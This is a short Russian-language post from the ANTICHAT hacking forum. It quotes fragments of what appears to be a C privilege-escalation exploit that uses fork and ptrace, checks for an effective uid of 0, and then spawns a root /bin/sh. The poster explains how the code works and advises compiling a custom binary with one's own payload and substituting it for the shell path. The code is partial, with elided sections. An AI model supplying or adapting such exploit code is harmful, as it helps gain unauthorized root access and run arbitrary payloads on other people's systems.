ANTICHAT - Показать сообщение отдельно

Цитата:

Сообщение от ACat

↑
...

не факт что подскажу тебе правильно

смотри

Код:

#define SH "/bin/sh"
.....
if (geteuid() == 0)  {
        setuid(0);
        execl(SH, SH, NULL);
        return 0;
   }
....
if ((pid = fork()) == -1)
        err(4, "fork");
   if (!pid) {
        if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1)
                err(5, "ptraceme");
        return 0;
        }
....

процесс форкается, проверяет уид, если 0( root ) то запускает SH ( /bin/sh )

скомпиль свой бинарь со своей начинкой, и замени путь "#define SH "/bin/sh"